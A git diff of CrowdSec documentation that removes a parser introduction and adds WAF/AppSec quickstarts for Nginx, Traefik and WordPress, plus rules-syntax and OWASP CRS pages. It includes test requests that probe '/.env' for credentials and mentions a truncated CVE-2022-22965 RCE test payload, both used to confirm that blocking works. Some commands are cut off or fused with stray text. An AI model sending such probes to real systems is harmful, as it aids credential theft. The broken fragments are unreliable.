-
\ No newline at end of file
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/parsers/introduction.mdx b/crowdsec-docs/versioned_docs/version-v1.6.0/parsers/introduction.mdx
deleted file mode 100644
index 11d4728c0..000000000
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/parsers/introduction.mdx
+++ /dev/null
@@ -1,64 +0,0 @@
----
-id: intro
-title: Introduction
-sidebar_position: 1
----
-
-import useBaseUrl from '@docusaurus/useBaseUrl';
-
-
-## Parser
-
-
-A parser is a YAML configuration file that describes how a string must be parsed. Said string can be a log line, or a field extracted from a previous parser.
-
-While a lot of parsers rely on the **GROK** approach (a.k.a regular expression named capture groups), parsers can also use [expressions](/expr/intro.md) to perform parsing on specific data (ie. json), [refer to external methods for enrichment](https://hub.crowdsec.net/author/crowdsecurity/configurations/geoip-enrich) or even [perform whitelisting](https://hub.crowdsec.net/author/crowdsecurity/configurations/whitelists.md).
-
-The [event](/expr/event.md) enters the parser, and might exit successfully or not:
-
-
-cscli metrics example
- -```bash -sudo cscli metrics - -INFO[0000] Buckets Metrics: -+--------------------------------------+---------------+-----------+--------------+--------+---------+ -| BUCKET | CURRENT COUNT | OVERFLOWS | INSTANCIATED | POURED | EXPIRED | -+--------------------------------------+---------------+-----------+--------------+--------+---------+ -| crowdsecurity/http-bad-user-agent | - | - | 10 | 10 | 10 | -| crowdsecurity/http-crawl-non_statics | - | - | 91 | 119 | 91 | -| crowdsecurity/http-probing | - | - | 2 | 2 | 2 | -| crowdsecurity/http-sensitive-files | - | - | 1 | 1 | 1 | -| crowdsecurity/ssh-bf | 13 | 6314 | 8768 | 46772 | 2441 | -| crowdsecurity/ssh-bf_user-enum | 6 | - | 7646 | 14406 | 7640 | -+--------------------------------------+---------------+-----------+--------------+--------+---------+ -INFO[0000] Acquisition Metrics: -+---------------------------+------------+--------------+----------------+------------------------+ -| SOURCE | LINES READ | LINES PARSED | LINES UNPARSED | LINES POURED TO BUCKET | -+---------------------------+------------+--------------+----------------+------------------------+ -| /var/log/auth.log | 105476 | 46772 | 58704 | 61178 | -| /var/log/messages | 2 | - | 2 | - | -| /var/log/nginx/access.log | 138 | 111 | 27 | 100 | -| /var/log/nginx/error.log | 312 | 68 | 244 | 32 | -| /var/log/syslog | 31919 | - | 31919 | - | -+---------------------------+------------+--------------+----------------+------------------------+ -INFO[0000] Parser Metrics: -+--------------------------------+--------+--------+----------+ -| PARSERS | HITS | PARSED | UNPARSED | -+--------------------------------+--------+--------+----------+ -| child-crowdsecurity/http-logs | 537 | 257 | 280 | -| child-crowdsecurity/nginx-logs | 789 | 179 | 610 | -| child-crowdsecurity/sshd-logs | 436048 | 46772 | 389276 | -| crowdsecurity/dateparse-enrich | 46951 | 46951 | - | -| crowdsecurity/geoip-enrich | 46883 | 46883 | - | -| crowdsecurity/http-logs | 179 | 66 | 113 | -| crowdsecurity/nginx-logs | 450 | 179 | 271 | -| crowdsecurity/non-syslog | 450 | 450 | - | -| crowdsecurity/sshd-logs | 104386 | 46772 | 57614 | -| crowdsecurity/syslog-logs | 137397 | 137395 | 2 | -| crowdsecurity/whitelists | 46951 | 46951 | - | -+--------------------------------+--------+--------+----------+ -INFO[0000] Local Api Metrics: -+----------------------+--------+------+ -| ROUTE | METHOD | HITS | -+----------------------+--------+------+ -| /v1/alerts | GET | 4 | -| /v1/alerts | POST | 5400 | -| /v1/decisions/stream | GET | 7694 | -| /v1/watchers/login | POST | 27 | -+----------------------+--------+------+ -INFO[0000] Local Api Machines Metrics: -+----------------------------------+------------+--------+------+ -| MACHINE | ROUTE | METHOD | HITS | -+----------------------------------+------------+--------+------+ -| 7f0607a3469243139699bf2f30321fc4 | /v1/alerts | GET | 4 | -| 7f0607a3469243139699bf2f30321fc4 | /v1/alerts | POST | 5400 | -+----------------------------------+------------+--------+------+ -INFO[0000] Local Api Bouncers Metrics: -+------------------------------+----------------------+--------+------+ -| BOUNCER | ROUTE | METHOD | HITS | -+------------------------------+----------------------+--------+------+ -| cs-firewall-bouncer-n3W19Qua | /v1/decisions/stream | GET | 7694 | -+------------------------------+----------------------+--------+------+ - -``` -
-
-
-
-## Stages
-
-Parsers are organized into stages to allow pipelines and branching in parsing. An event can go to the next stage if at least one parser in the given stage parsed it successfully while having `onsuccess` set to `next_stage`. Otherwise, the event is considered unparsed and will exit the pipeline (and be discarded):
-
-
- })
-
-
-
-
-
-Each parser can add, change or even delete data from the event. The current approach is:
- - `s00-raw`: takes care of the overall log structure (ie. extract log lines from JSON blob, [parse syslog protocol](https://hub.crowdsec.net/author/crowdsecurity/configurations/syslog-logs) info)
- - `s01-parse`: parses the *actual* log line ([ssh](https://hub.crowdsec.net/author/crowdsecurity/configurations/sshd-logs), [nginx](https://hub.crowdsec.net/author/crowdsecurity/configurations/nginx-logs) etc.)
- - `s02-enrich`: does some post processing, such as [geoip-enrich](https://hub.crowdsec.net/author/crowdsecurity/configurations/geoip-enrich) or post-parsing of [http events to provide more context](https://hub.crowdsec.net/author/crowdsecurity/configurations/http-logs)
-
-
-Once an event has successfully exited the parsing pipeline, it is ready to be matched against scenarios. As you might expect, each parser relies on the information that is parsed during previous stages.
-
-## Postoverflows
-
-Once a scenario overflows, the resulting event is going to be processed by a distinct set of parsers, called "postoverflows".
-
-Those parsers are located in `/etc/crowdsec/postoverflows/` and typically contain additional whitelists, a [common example is to whitelist decisions coming from some specific FQDN](https://hub.crowdsec.net/author/crowdsecurity/collections/whitelist-good-actors).
-
-Usually, those parsers should be kept for "expensive" parsers that might rely on external services.
-
-----
-
-
-
-See the [Hub](https://hub.crowdsec.net/browse/#configurations) to explore parsers, or see below some examples:
-
- - [apache2 access/error log parser](https://github.com/crowdsecurity/hub/blob/master/parsers/s01-parse/crowdsecurity/apache2-logs.yaml)
- - [iptables logs parser](https://github.com/crowdsecurity/hub/blob/master/parsers/s01-parse/crowdsecurity/iptables-logs.yaml)
- - [http logs post-processing](https://github.com/crowdsecurity/hub/blob/master/parsers/s02-enrich/crowdsecurity/http-logs.yaml)
-
-The parsers usually reside in `/etc/crowdsec/parsers/
- })
-
-
-
+
+
+
+Check CrowdSec logs for successful startup:
+```bash
+sudo tail -f /var/log/crowdsec.log
+```
+
+Look for messages like:
+```
+INFO[...] Starting Appsec server on 127.0.0.1:7422/
+INFO[...] Appsec Runner ready to process event
+```
+
+
+## Next Steps
+
+Now that the AppSec Component is configured and running, you need to:
+
+1. **Configure your remediation component** to forward requests to `http://127.0.0.1:7422`
+2. **Test the setup** [by triggering a rule](/appsec/quickstart/general.mdx#testing-detection)
+3. **Monitor alerts** with `sudo cscli alerts list` or in the [CrowdSec Console](https://app.crowdsec.net)
+
+For specific remediation component configuration, see:
+- [Nginx/OpenResty Setup](/appsec/quickstart/nginxopenresty.mdx)
+- [Traefik Setup](/appsec/quickstart/traefik.mdx)
+- [WordPress Setup](/appsec/quickstart/wordpress.mdx)
+- [Check the hub for other remediation components supporting AppSec](https://app.crowdsec.net/hub/remediation-components)
+
+### Testing Detection
+
+If you've enabled an AppSec-capable bouncer with CrowdSec WAF, you can trigger the crowdsecurity/appsec-generic-test dummy scenario.
+This scenario will not lead to decision but is a great way to ensure that your setup is functional.
+
+We'll trigger the dummy scenario crowdsecurity/appsec-generic-test by accessing a probe path on your web server.
+
+1️⃣ Access your service URL with this path: `/crowdsec-test-NtktlJHV4TfBSK3wvlhiOBnl`
+
+```bash
+curl -I https://Output example
+ +```bash +tcp 0 0 127.0.0.1:7422 0.0.0.0:* LISTEN 12345/crowdsec +``` + +:::note +The output may look differently depending on which command you used but as long as you see the port and the process `crowdsec`, it means the AppSec Component is running. +::: + +
+
+
+
+##### (Optional) Manually testing the AppSec Component with `curl`
+
+Output example
+ +```bash +tcp 0 0 127.0.0.1:7422 0.0.0.0:* LISTEN 12345/crowdsec +``` + +:::note +The output may look differently depending on which command you used but as long as you see the port and the process `crowdsec`, it means the AppSec Component is running. +::: + +
+
+
+## Remediation Component Setup
+
+Since our AppSec Component is active and listening, we can now configure the Remediation Component to forward requests to it.
+
+To setup forwarding of requests in the remediation component, we'll modify its configuration file and append the following line:
+
+- `Nginx`: `/etc/crowdsec/bouncers/crowdsec-nginx-bouncer.conf`
+- `OpenResty`: `/etc/crowdsec/bouncers/crowdsec-openresty-bouncer.conf`
+
+```bash
+APPSEC_URL=http://127.0.0.1:7422
+```
+
+This instructs the remediation component to communicate with the AppSec Component at `http://127.0.0.1:7422`.
+
+Once configured, all incoming HTTP requests will be sent there for analysis. The snippet above assumes that the AppSec Component is running on the same machine.
+
+We can now restart the service:
+
+```bash
+sudo systemctl restart nginx
+```
+
+## Testing the AppSec Component + Remediation Component
+
+:::note
+We're assuming the web server is installed on the same machine and is listening on port 80. Please adjust your testing accordingly if this is not the case.
+You can also look at the [General WAF Testing](/docs/appsec/quickstart/general.mdx#testing-waf-component)
+:::
+
+
+
+if you try to access `http://localhost/.env` from a browser, your request will be blocked, resulting in the display of the following HTML page:
+
+
+
+We can also look at the metrics from `cscli metrics show appsec` it will display:
+ - the number of requests processed by the AppSec Component
+ - Individual rule matches
+
+ Expand for short guide
+ +Before we proceed with configuring the Remediation Component, let's verify that all our current setups are functioning correctly. + +1. Create a Remediation Component (Bouncer) API Key: + +```bash +sudo cscli bouncers add test_waf -k this_is_a_bad_password +API key for 'test_waf': + + this_is_a_bad_password + +Please keep this key since you will not be able to retrieve it! +``` + +2. Emit a legitimate request to the AppSec Component: + +```bash +curl -X POST localhost:7422/ -i -H 'x-crowdsec-appsec-uri: /test' -H 'x-crowdsec-appsec-ip: 192.168.1.1' -H 'x-crowdsec-appsec-host: foobar.com' -H 'x-crowdsec-appsec-verb: POST' -H 'x-crowdsec-appsec-api-key: this_is_a_bad_password' +``` + +Which will give us an answer such as: + +```bash +HTTP/1.1 200 OK +Date: Tue, 30 Jan 2024 15:43:50 GMT +Content-Length: 36 +Content-Type: text/plain; charset=utf-8 + +{"action":"allow","http_status":200} +``` + +3. Emit a malevolent request to the Appsec Component: + +:::info +We're trying to access a `.env` file, a [common way to get access to some credentials forgotten by a developer.](https://app.crowdsec.net/hub/author/crowdsecurity/appsec-rules/vpatch-env-access) +::: + +```bash +curl -X POST localhost:7422/ -i -H 'x-crowdsec-appsec-uri: /.env' -H 'x-crowdsec-appsec-ip: 192.168.1.1' -H 'x-crowdsec-appsec-host: foobar.com' -H 'x-crowdsec-appsec-verb: POST' -H 'x-crowdsec-appsec-api-key: this_is_a_bad_password' + +``` + +Our request is detected and blocked by the AppSec Component: + +```bash +HTTP/1.1 403 Forbidden +Date: Tue, 30 Jan 2024 15:57:08 GMT +Content-Length: 34 +Content-Type: text/plain; charset=utf-8 + +{"action":"ban","http_status":403} +``` + +Let's now delete our test API Key: + +```bash +sudo cscli bouncers delete test_waf +``` + +
+
+
+### Explanation
+
+What happened in the test that we just did is:
+
+ 1. We did a request (`localhost/.env`) to our local webserver
+ 2. Thanks to the Remediation Component configuration, forwarded the request to `http://127.0.0.1:7422`
+ 3. Our AppSec Component, listening on `http://127.0.0.1:7422` analyzed the request
+ 4. The request matches the [AppSec rule to detect .env access](https://app.crowdsec.net/hub/author/crowdsecurity/appsec-rules/vpatch-env-access)
+ 5. The AppSec Component thus answered with [HTTP 403](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/403) to the Remediation Component, indicating that the request must be blocked
+ 6. The web server then presented us with the default "request blocked" page.
+
+ ## Integration with the console
+
+If you haven't yet, follow the guide about [how to enroll your Security Engine in the console](/u/getting_started/post_installation/console).
+
+Once done, all your alerts, including the ones generated by the AppSec Component, are going to appear in the console:
+
+
+
+
+## Next steps
+
+You are now running the AppSec Component on your Crowdsec Security Engine, congrats!
+
+As the next steps, you can:
+ - [Explore the hub](https://hub.crowdsec.net) to find more rules for your use case
+ - Look at the [Rules syntax](/appsec/rules_syntax.md) and [creation process](/appsec/create_rules.md) to create your own and contribute
+ - Take a look at [the benchmarks](/appsec/benchmark.md)
diff --git a/crowdsec-docs/versioned_docs/version-v1.6/appsec/quickstart/traefik.mdx b/crowdsec-docs/versioned_docs/version-v1.6/appsec/quickstart/traefik.mdx
new file mode 100644
index 000000000..898dfc500
--- /dev/null
+++ b/crowdsec-docs/versioned_docs/version-v1.6/appsec/quickstart/traefik.mdx
@@ -0,0 +1,268 @@
+---
+id: traefik
+title: QuickStart - Traefik
+---
+
+import FormattedTabs from '@site/src/components/formatted-tabs';
+import UnderlineTooltip from '@site/src/components/underline-tooltip';
+
+# CrowdSec WAF QuickStart for Traefik
+
+## Objectives
+
+The goal of this quickstart is to set up the [AppSec Component](/appsec/intro.md#introduction) to safeguard web applications running on [Traefik](https://doc.traefik.io/traefik/) reverse proxy.
+
+We'll deploy a [set of rules](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-virtual-patching) designed to block [well-known attacks](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-generic-rules) and [currently exploited vulnerabilities](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-virtual-patching).
+
+Additionally, we'll show how to monitor these alerts through the [console](https://app.crowdsec.net/).
+
+## Pre-requisites
+
+1. If you're new to the [AppSec Component](/appsec/intro.md#introduction) or **W**eb **A**pplication **F**irewalls, start with the [Introduction](/appsec/intro.md#introduction) for a better understanding.
+
+2. It's assumed that you have already installed:
+ - **CrowdSec [Security Engine](intro.mdx)**: for installation, refer to the [QuickStart guide](/u/getting_started/installation/linux). The AppSec Component, which analyzes HTTP requests, is included within the security engine as a Example Output
+ +```bash title="sudo cscli metrics show appsec" +Appsec Metrics: +╭─────────────────┬───────────┬─────────╮ +│ Appsec Engine │ Processed │ Blocked │ +├─────────────────┼───────────┼─────────┤ +│ 127.0.0.1:7422/ │ 2 │ 1 │ +╰─────────────────┴───────────┴─────────╯ + +Appsec '127.0.0.1:7422/' Rules Metrics: +╭─────────────────────────────────┬───────────╮ +│ Rule ID │ Triggered │ +├─────────────────────────────────┼───────────┤ +│ crowdsecurity/vpatch-env-access │ 1 │ +╰─────────────────────────────────┴───────────╯ +``` + +
+
+
+### Explanation
+
+What happened in the test that we just did is:
+
+ 1. We did a request (`localhost/.env`) to our local webserver
+ 2. Thanks to the Remediation Component configuration, forwarded the request to `http://127.0.0.1:7422`
+ 3. Our AppSec Component, listening on `http://127.0.0.1:7422` analyzed the request
+ 4. The request matches the [AppSec rule to detect .env access](https://app.crowdsec.net/hub/author/crowdsecurity/appsec-rules/vpatch-env-access)
+ 5. The AppSec Component thus answered with [HTTP 403](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/403) to the Remediation Component, indicating that the request must be blocked
+ 6. The web server then presented us with the default "request blocked" page.
+
+ ## Integration with the console
+
+If you haven't yet, follow the guide about [how to enroll your Security Engine in the console](/u/getting_started/post_installation/console).
+
+Once done, all your alerts, including the ones generated by the AppSec Component, are going to appear in the console:
+
+
+
+## Next steps
+
+You are now running the AppSec Component on your Crowdsec Security Engine, congrats!
+
+As the next steps, you can:
+ - [Explore the hub](https://hub.crowdsec.net) to find more rules for your use case
+ - Look at the [Rules syntax](/appsec/rules_syntax.md) and [creation process](/appsec/create_rules.md) to create your own and contribute
+ - Take a look at [the benchmarks](/appsec/benchmark.md)
diff --git a/crowdsec-docs/versioned_docs/version-v1.6/appsec/quickstart/wordpress.mdx b/crowdsec-docs/versioned_docs/version-v1.6/appsec/quickstart/wordpress.mdx
new file mode 100644
index 000000000..cceffcef0
--- /dev/null
+++ b/crowdsec-docs/versioned_docs/version-v1.6/appsec/quickstart/wordpress.mdx
@@ -0,0 +1,318 @@
+---
+id: wordpress
+title: QuickStart - WordPress
+---
+
+import Tabs from '@theme/Tabs';
+import TabItem from '@theme/TabItem';
+import CodeBlock from '@theme/CodeBlock';
+import UnderlineTooltip from '@site/src/components/underline-tooltip';
+
+# CrowdSec WAF QuickStart for WordPress
+
+## Objectives
+
+The goal of this quickstart is to set up the [AppSec Component](/appsec/intro.md#introduction) to safeguard web applications running on [WordPress](https://wordpress.org) sites.
+
+We'll deploy a [set of rules](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-virtual-patching) designed to block [well-known attacks](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-generic-rules) and [currently exploited vulnerabilities](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-virtual-patching).
+
+Additionally, we'll show how to monitor these alerts through the [console](https://app.crowdsec.net/).
+
+## Pre-requisites
+
+1. If you're new to the [AppSec Component](/appsec/intro.md#introduction) or **W**eb **A**pplication **F**irewalls, start with the [Introduction](/appsec/intro.md#introduction) for a better understanding.
+
+2. It's assumed that you have already installed:
+ - **CrowdSec [Security Engine](intro.mdx)**: for installation, refer to the [QuickStart guide](/u/getting_started/installation/linux). The AppSec Component, which analyzes HTTP requests, is included within the security engine as a [Acquisition](/log_processor/data_sources/appsec.md).
+ - **WordPress [Remediation Component](/u/bouncers/intro)**: installation instructions are available in the [WordPress bouncer guide](/u/bouncers/wordpress). The CrowdSec WordPress plugin enables you to protect your WordPress site against malicious traffic using CrowdSec's advanced threat detection and blocklist capabilities.
+
+ This component intercepts HTTP requests at the WordPress level and forwards them to the AppSec Component for analysis and action.
+
+
+## AppSec Component Setup
+
+### Collection installation
+
+To begin setting up the AppSec Component, the initial step is to install a relevant set of rules.
+
+We will utilize the [`crowdsecurity/appsec-virtual-patching`](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-virtual-patching) collection, which offers a wide range of rules aimed at identifying and preventing the exploitation of known vulnerabilities.
+
+This Example Output
+ +```bash title="sudo cscli metrics show appsec" +Appsec Metrics: +╭─────────────────┬───────────┬─────────╮ +│ Appsec Engine │ Processed │ Blocked │ +├─────────────────┼───────────┼─────────┤ +│ 127.0.0.1:7422/ │ 2 │ 1 │ +╰─────────────────┴───────────┴─────────╯ + +Appsec '127.0.0.1:7422/' Rules Metrics: +╭─────────────────────────────────┬───────────╮ +│ Rule ID │ Triggered │ +├─────────────────────────────────┼───────────┤ +│ crowdsecurity/vpatch-env-access │ 1 │ +╰─────────────────────────────────┴───────────╯ +``` + +
+
+
+
+##### (Optional) Manually testing the AppSec Component with `curl`
+
+Output example
+ +```bash +tcp 0 0 127.0.0.1:7422 0.0.0.0:* LISTEN 12345/crowdsec +``` + +:::note +The output may look differently depending on which command you used but as long as you see the port and the process `crowdsec`, it means the AppSec Component is running. +::: + +
+
+
+## Remediation Component Setup
+
+Since our AppSec Component is active and listening, we can now configure the WordPress Remediation Component to forward requests to it.
+
+The WordPress bouncer includes built-in AppSec support that can be enabled through the plugin's admin interface.
+
+### Enable AppSec in WordPress Plugin
+
+1. Log in to your WordPress admin panel
+2. Navigate to the CrowdSec plugin settings (`CrowdSec` in your admin menu)
+3. Go to the `Advanced` section
+4. Find the `AppSec component` configuration section
+5. Enable AppSec and configure the connection:
+
+ - **Enable AppSec**: Check this box to enable AppSec functionality
+ - **URL**: Set to `http://127.0.0.1:7422` (or your custom AppSec Component address)
+ - **Request timeout**: Default is 400 milliseconds (adjust as needed)
+ - **Fallback to**: Choose `captcha` (recommended) for when AppSec calls fail
+ - **Maximum body size**: Default is 1024 KB
+ - **Body size exceeded action**: Choose `headers_only` (recommended)
+
+
+
+
+:::info
+AppSec functionality is only available when using API key authentication (not TLS certificates) in the WordPress plugin.
+:::
+
+:::note
+The AppSec Component will only be consulted when the initial LAPI remediation returns a bypass decision.
+:::
+
+## Testing the AppSec Component + Remediation Component
+
+:::note
+We're assuming WordPress is running on your local machine. Please adjust your testing accordingly if this is not the case.
+:::
+
+To test the AppSec functionality, you need to make a request that will go through the WordPress loading process. Try accessing a WordPress page with a malicious payload in the URL parameters or body.
+For example, we can try to post a request with a body that contains a malicious payload, known as a [Remote Code Execution (CVE-2022-22965)](https://app.crowdsec.net/hub/author/crowdsecurity/appsec-rules/vpatch-CVE-2022-22965) attempt.
+
+```bash
+curl -X POST https://Expand for short guide
+ +Before we proceed with configuring the Remediation Component, let's verify that all our current setups are functioning correctly. + +1. Create a Remediation Component (Bouncer) API Key: + +```bash +sudo cscli bouncers add test_waf -k this_is_a_bad_password +API key for 'test_waf': + + this_is_a_bad_password + +Please keep this key since you will not be able to retrieve it! +``` + +2. Emit a legitimate request to the AppSec Component: + +```bash +curl -X POST localhost:7422/ -i -H 'x-crowdsec-appsec-uri: /test' -H 'x-crowdsec-appsec-ip: 192.168.1.1' -H 'x-crowdsec-appsec-host: foobar.com' -H 'x-crowdsec-appsec-verb: POST' -H 'x-crowdsec-appsec-api-key: this_is_a_bad_password' +``` + +Which will give us an answer such as: + +```bash +HTTP/1.1 200 OK +Date: Tue, 30 Jan 2024 15:43:50 GMT +Content-Length: 36 +Content-Type: text/plain; charset=utf-8 + +{"action":"allow","http_status":200} +``` + +3. Emit a malevolent request to the Appsec Component: + +:::info +We're trying to access a `.env` file, a [common way to get access to some credentials forgotten by a developer.](https://app.crowdsec.net/hub/author/crowdsecurity/appsec-rules/vpatch-env-access) +::: + +```bash +curl -X POST localhost:7422/ -i -H 'x-crowdsec-appsec-uri: /.env' -H 'x-crowdsec-appsec-ip: 192.168.1.1' -H 'x-crowdsec-appsec-host: foobar.com' -H 'x-crowdsec-appsec-verb: POST' -H 'x-crowdsec-appsec-api-key: this_is_a_bad_password' + +``` + +Our request is detected and blocked by the AppSec Component: + +```bash +HTTP/1.1 403 Forbidden +Date: Tue, 30 Jan 2024 15:57:08 GMT +Content-Length: 34 +Content-Type: text/plain; charset=utf-8 + +{"action":"ban","http_status":403} +``` + +Let's now delete our test API Key: + +```bash +sudo cscli bouncers delete test_waf +``` + +
+
+
+### Explanation
+
+What happened in the test that we just did is:
+
+ 1. We made a request with malicious payload to our WordPress site
+ 2. The WordPress bouncer plugin intercepted the request as part of the WordPress loading process
+ 3. The bouncer first checked with the local CrowdSec API for any existing decisions
+ 4. Since there was no existing ban decision, the bouncer forwarded the request to the AppSec Component at `http://127.0.0.1:7422`
+ 5. Our AppSec Component analyzed the request and matched it against the appropriate AppSec rules (here `crowdsecurity/vpatch-CVE-2022-22965` rule)
+ 6. The AppSec Component returned an HTTP 403 response to the WordPress bouncer, indicating that the request must be blocked
+ 7. The WordPress bouncer then presented the visitor with the configured ban page
+
+ ## Integration with the console
+
+If you haven't yet, follow the guide about [how to enroll your Security Engine in the console](/u/getting_started/post_installation/console).
+
+Once done, all your alerts, including the ones generated by the AppSec Component, are going to appear in the console:
+
+
+
+## WordPress-Specific Considerations
+
+### Understanding Plugin Limitations
+
+The WordPress bouncer has some inherent limitations you should be aware of:
+
+1. **WordPress Loading Process**: The plugin only protects requests that go through the WordPress core loading process. Direct access to PHP files outside of WordPress won't be protected.
+
+2. **Static Files**: Requests for non-PHP files (like `.env`, `.sql`, or other static files) won't be processed by the plugin since they don't go through PHP.
+
+3. **Auto Prepend File Mode**: For comprehensive protection, consider enabling [auto prepend file mode](/u/bouncers/wordpress#auto-prepend-file-mode) in the plugin settings to ensure all PHP scripts are protected.
+
+
+## Next steps
+
+You are now running the AppSec Component on your WordPress site with CrowdSec Security Engine, congrats!
+
+As the next steps, you can:
+ - [Explore the hub](https://hub.crowdsec.net) to find more rules for your use case
+ - Look at the [Rules syntax](/appsec/rules_syntax.md) and [creation process](/appsec/create_rules.md) to create your own and contribute
\ No newline at end of file
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/appsec/rules_syntax.md b/crowdsec-docs/versioned_docs/version-v1.6/appsec/rules_syntax.md
similarity index 89%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/appsec/rules_syntax.md
rename to crowdsec-docs/versioned_docs/version-v1.6/appsec/rules_syntax.md
index 4c8a36402..9dde1d009 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/appsec/rules_syntax.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/appsec/rules_syntax.md
@@ -72,6 +72,7 @@ The target allows to specify which part of the requests needs to be inspected. Y
- `METHOD`: HTTP method of the request
- `PROTOCOL`: HTTP protocol used in the query (HTTP/1.0, HTTP/1.1, ...)
- `URI`: The URI of the request
+ - `URI_FULL`: The full URL of the request including the query string
- `RAW_BODY`: The entire body of the request
- `FILENAMES`: The name of the files sent in the request
- _(optional)_ `variables` containing one or more variable names to restrict the matching operation to (only relevant for `ARGS`, `BODY_ARGS` and `HEADERS`)
@@ -90,6 +91,17 @@ The target allows to specify which part of the requests needs to be inspected. Y
- ARGS
```
+:::info
+
+The default config `crowdsecurity/base-config` enables specific decoders when the following content-types are set:
+ - **application/x-www-form-urlencoded**
+ - **multipart/form-data**
+ - **application/xml**
+ - **application/json** : when used, all the variable names are prefixed with `json.`
+ - **text/xml**
+
+:::
+
## Match
:::info
@@ -118,8 +130,11 @@ Match provides the pattern to match the target against, including optional trans
- `lowercase`
- `uppercase`
- `b64decode` : base64 decode
- - `hexdecode` : hex decode
- `length` : transform _target_ to a number representing the string's length
+ - `urldecode` : URL decode
+ - `trim` : remove leading and trailing spaces
+ - `normalizepath` : normalize the path (remove double slashes, etc)
+ - `htmlEntitydecode` : decode HTML entities
```yaml
# we want the query parameter foo to be equal to 'toto'
@@ -141,6 +156,7 @@ Match provides the pattern to match the target against, including optional trans
value: BLAH
```
+
### Seclang Support
In order to support your existing/legacy rules set, CrowdSec's AppSec Component is also able to load rules in the **seclang** format (**ModSecurity** rules).
@@ -154,13 +170,14 @@ There are 2 ways to provide crowdsec with seclang rules:
- Provide rules directly by using the `seclang_rules` parameter in your rule file
- Provide a file containing the rules by using the `seclang_rules_file` parameter in your rule file. The file must be located inside CrowdSec data directory
-:::info
The default paths for the data directory per OS:
- Linux: `/var/lib/crowdsec/data`
- Freebsd: `/var/db/crowdsec/data`
- Windows: `C:\programdata\crowdsec\data`
- :::
+
+
+> Example
```yaml
name: example/secrules
@@ -169,3 +186,7 @@ seclang_rules:
seclang_files_rules:
- my-rule-file.conf
```
+
+:::warning
+Your rule **must** have a non-empty `msg` field to properly trigger an Event/Alert
+:::
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/appsec/troubleshooting.md b/crowdsec-docs/versioned_docs/version-v1.6/appsec/troubleshooting.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/appsec/troubleshooting.md
rename to crowdsec-docs/versioned_docs/version-v1.6/appsec/troubleshooting.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6/appsec/vpatch_crs.md b/crowdsec-docs/versioned_docs/version-v1.6/appsec/vpatch_crs.md
new file mode 100644
index 000000000..e8bb9bc04
--- /dev/null
+++ b/crowdsec-docs/versioned_docs/version-v1.6/appsec/vpatch_crs.md
@@ -0,0 +1,324 @@
+---
+id: vpatch_and_crs
+title: Virtual Patching + OWASP CRS
+sidebar_position: 5
+---
+
+## Overview
+
+This guide shows how to deploy both CrowdSec's virtual patching rules and [OWASP Core Rule Set (CRS)](https://coreruleset.org/) together for comprehensive web application protection. CrowdSec's Virtual Patching rules will always be configured as blocking rules, while OWASP CRS can be configured in blocking or non-blocking rules.
+
+### OWASP Core Rule Set
+
+The OWASP CRS is a set of generic attack detection rules that aims to protect web applications from a wide range of attacks, including the OWASP Top Ten, with a minimum of false alerts. CRS provides protection against many common attack categories, including SQL Injection, Cross Site Scripting, Local File Inclusion, etc.
+
+### CrowdSec Virtual Patching Rules
+
+CrowdSec produces virtual patching rules for new (and sometime old) vulnerabilities that we see as having traction in the wild. While Virtual Patching rules doesn't offer a generic protection (as CRS might do) they do target specific vulnerabilities and offer nearly zero false positive chance.
+
+## Objective
+
+OWASP CRS can be integrated in various fashion with CrowdSec's WAF:
+ - **Non Blocking** will not block requests that trigger CRS, however, repeating offenders will get banned.
+ - **Blocking** will block any and all requests that trigger CRS, and ban repeating offenders.
+
+:::info
+This documentation assumes that you already have a Basic WAF setup with CrowdSec Security Engine.
+:::
+
+
+## OWASP Core Rule Set - Non-Blocking
+
+### Install Required Collections
+
+Install both the virtual patching and CRS collections:
+
+```bash title="Install virtual patching rules (in-band blocking)"
+cscli collections install crowdsecurity/appsec-virtual-patching
+```
+
+```bash title="Install OWASP CRS rules (out-of-band detection + scenario)
+cscli collections install crowdsecurity/appsec-crs
+```
+
+### Configure AppSec
+
+Update your AppSec acquisition configuration:
+
+```yaml title="/etc/crowdsec/acquis.d/appsec.yaml"
+appsec_configs:
+ - crowdsecurity/appsec-default # Virtual patching rules (in-band)
+ - crowdsecurity/crs # OWASP CRS rules (out-of-band)
+labels:
+ type: appsec
+listen_addr: 127.0.0.1:7422
+source: appsec
+```
+
+### Restart CrowdSec
+
+```bash
+sudo systemctl restart crowdsec
+```
+
+## How It Works
+
+### Two-Layer Protection
+
+**Layer 1 - Virtual Patching (In-band)**:
+- Rules from `crowdsecurity/appsec-default`
+- Evaluated synchronously before request proceeds
+- Blocks known exploits immediately
+- High-confidence, low false-positive rules
+
+**Layer 2 - OWASP CRS (Out-of-band)**:
+- Full ModSecurity Core Rule Set from `crowdsecurity/crs`
+- Evaluated asynchronously after request is processed
+- Comprehensive attack detection and analysis
+- No impact on request response time
+
+### CRS Out-of-Band Processing
+
+OWASP CRS rules are loaded as out-of-band rules, which means:
+
+1. **No Performance Impact**: CRS evaluation happens after the web server has already responded
+2. **Comprehensive Detection**: Full rule set can detect complex attack patterns
+3. **Event Generation**: Matches generate events for CrowdSec's scenario system
+4. **Behavioral Analysis**: The `crowdsecurity/crowdsec-appsec-outofband` scenario monitors patterns and bans repeat offenders
+
+### Scenario Integration
+
+The `crowdsecurity/appsec-crs` collection includes:
+- **crowdsecurity/crs**: AppSec config that loads CRS rules in out-of-band mode
+- **crowdsecurity/crowdsec-appsec-outofband**: Scenario that bans IPs after 5+ out-of-band rule violations
+
+## Verification
+
+### Check Installation
+
+Verify that both configurations are loaded:
+
+```bash title="Check AppSec configurations"
